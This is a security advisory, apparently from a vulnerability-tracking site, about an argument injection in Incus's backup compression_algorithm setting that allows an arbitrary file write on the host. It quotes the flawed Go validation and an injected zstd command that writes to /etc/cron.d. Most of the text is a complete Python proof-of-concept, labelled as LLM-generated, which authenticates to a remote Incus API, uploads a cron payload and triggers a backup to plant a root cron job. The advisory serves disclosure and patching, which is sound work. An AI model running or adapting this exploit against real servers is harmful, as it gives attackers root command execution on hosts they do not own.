Incus has an argument injection in backup compression algorithm leading to AFW and ACE
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H상세 설명
Summary
Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.
Details
Incus validates compression_algorithm by parsing it into fields and checking only the first token against an allowlist:
1fields, err := shellquote.Split(value) 2... 3if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) { 4 return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0]) 5} 6_, err = exec.LookPath(fields[0])Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:
1args := []string{"-c"} 2if len(fields) > 1 { 3 args = append(args, fields[1:]...) 4} 5cmd := exec.Command(fields[0], args...) 6cmd.Stdin = infile 7cmd.Stdout = outfileWith a value like:
1zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payloadthe daemon executes the equivalent of:
1zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payloadPoC
1python3 poc.py \ 2 --insecure --url https://remote-incus:8443 \ 3 --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \ 4 --instance c01 \ 5 --execute --yes-i-understand-this-writes-host-fileThe following was generated by an LLM model.
1#!/usr/bin/env python3 2"""Short remote Incus backup compression zstd cron RCE PoC. 3 4Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor: 5 6 zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source> 7 8The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server. 9"""10 11from __future__ import annotations12 13import argparse14import json15import os16import shlex17import sys18import urllib.parse19from pathlib import PurePosixPath20from typing import Any21 22import requests23 24 25def q(value: str) -> str:26 return urllib.parse.quote(value, safe="")27 28 29def api(base: str, endpoint: str, **params: str) -> str:30 return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")31 32 33def project_instance(project: str, instance: str) -> str:34 return instance if project == "default" else f"{project}_{instance}"35 36 37def clean_guest_path(path: str) -> str:38 if not path.startswith("/"):39 raise ValueError("--guest-path must be absolute")40 if ".." in PurePosixPath(path).parts:41 raise ValueError("--guest-path must not contain '..'")42 return os.path.normpath("/" + path.lstrip("/")).lstrip("/")43 44 45def source_path(args: argparse.Namespace) -> str:46 if args.source_host_path:47 return args.source_host_path48 return os.path.join(49 args.incus_dir,50 "storage-pools",51 args.pool,52 args.storage_kind,53 project_instance(args.project, args.instance),54 "rootfs",55 clean_guest_path(args.guest_path),56 )57 58 59def cron(command: str) -> bytes:60 return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()61 62 63def session(args: argparse.Namespace) -> requests.Session:64 s = requests.Session()65 s.verify = False if args.insecure else (args.cacert or True)66 if args.cert or args.key:67 s.cert = (args.cert, args.key)68 if args.token:69 s.headers["Authorization"] = "Bearer " + args.token70 s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"71 if args.insecure:72 requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined]73 return s74 75 76def check(resp: requests.Response, what: str) -> requests.Response:77 if resp.status_code >= 400:78 try:79 detail: Any = resp.json()80 except Exception:81 detail = resp.text[:2048]82 raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}")83 return resp84 85 86def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:87 url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)88 headers = {89 "Content-Type": "application/octet-stream",90 "X-Incus-type": "file",91 "X-Incus-write": "overwrite",92 "X-Incus-uid": "0",93 "X-Incus-gid": "0",94 "X-Incus-mode": "0644",95 }96 print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")97 check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")98 99 100def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:101 url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)102 print("[*] sending direct backup request")103 resp = s.post(104 url,105 data=json.dumps(body).encode(),106 headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},107 timeout=args.timeout,108 stream=True,109 )110 print(f"[*] backup HTTP {resp.status_code}")111 resp.close()112 if resp.status_code >= 400:113 print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")114 115 116def parse_args() -> argparse.Namespace:117 p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")118 p.add_argument("--url", required=True, help="https://host:8443")119 p.add_argument("--cert", help="client certificate PEM")120 p.add_argument("--key", help="client private key PEM")121 p.add_argument("--cacert", help="CA certificate PEM")122 p.add_argument("--token", help="bearer token")123 p.add_argument("--insecure", action="store_true", help="disable TLS verification")124 p.add_argument("--timeout", type=int, default=180)125 126 p.add_argument("--project", default="default")127 p.add_argument("--instance", required=True)128 p.add_argument("--pool", default="default")129 p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")130 p.add_argument("--incus-dir", default="/var/lib/incus")131 p.add_argument("--guest-path", default="/incus-zstd-cron")132 p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload")133 p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")134 p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")135 136 p.add_argument("--execute", action="store_true", help="stage payload and send backup request")137 p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute")138 args = p.parse_args()139 140 if urllib.parse.urlparse(args.url).scheme != "https":141 p.error("--url must use https")142 if bool(args.cert) != bool(args.key):143 p.error("--cert and --key must be supplied together")144 if args.execute and not args.yes_i_understand_this_writes_host_file:145 p.error("--execute requires --yes-i-understand-this-writes-host-file")146 try:147 clean_guest_path(args.guest_path)148 except ValueError as exc:149 p.error(str(exc))150 151 args.url = args.url.rstrip("/")152 return args153 154 155def main() -> int:156 args = parse_args()157 src = source_path(args)158 payload = cron(args.command)159 compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"160 body = {"compression_algorithm": compressor, "instance_only": True}161 162 print("[*] target:", args.url)163 print("[*] project:", args.project)164 print("[*] instance:", args.instance)165 print("[*] source host path:", src)166 print("[*] cron path:", args.cron_path)167 print("[*] payload:", payload.decode().rstrip())168 print("[*] backup body:", json.dumps(body, sort_keys=True))169 170 if not args.execute:171 print("[*] dry run only; add --execute and the confirmation flag to act")172 return 0173 174 s = session(args)175 upload(s, args, payload)176 trigger_backup(s, args, body)177 return 0178 179 180if __name__ == "__main__":181 try:182 raise SystemExit(main())183 except BrokenPipeError:184 raise SystemExit(1)185 except Exception as exc:186 print(f"[-] {exc}", file=sys.stderr)187 raise SystemExit(1)Impact
Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with zstd and possibly arbitrary command execution.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.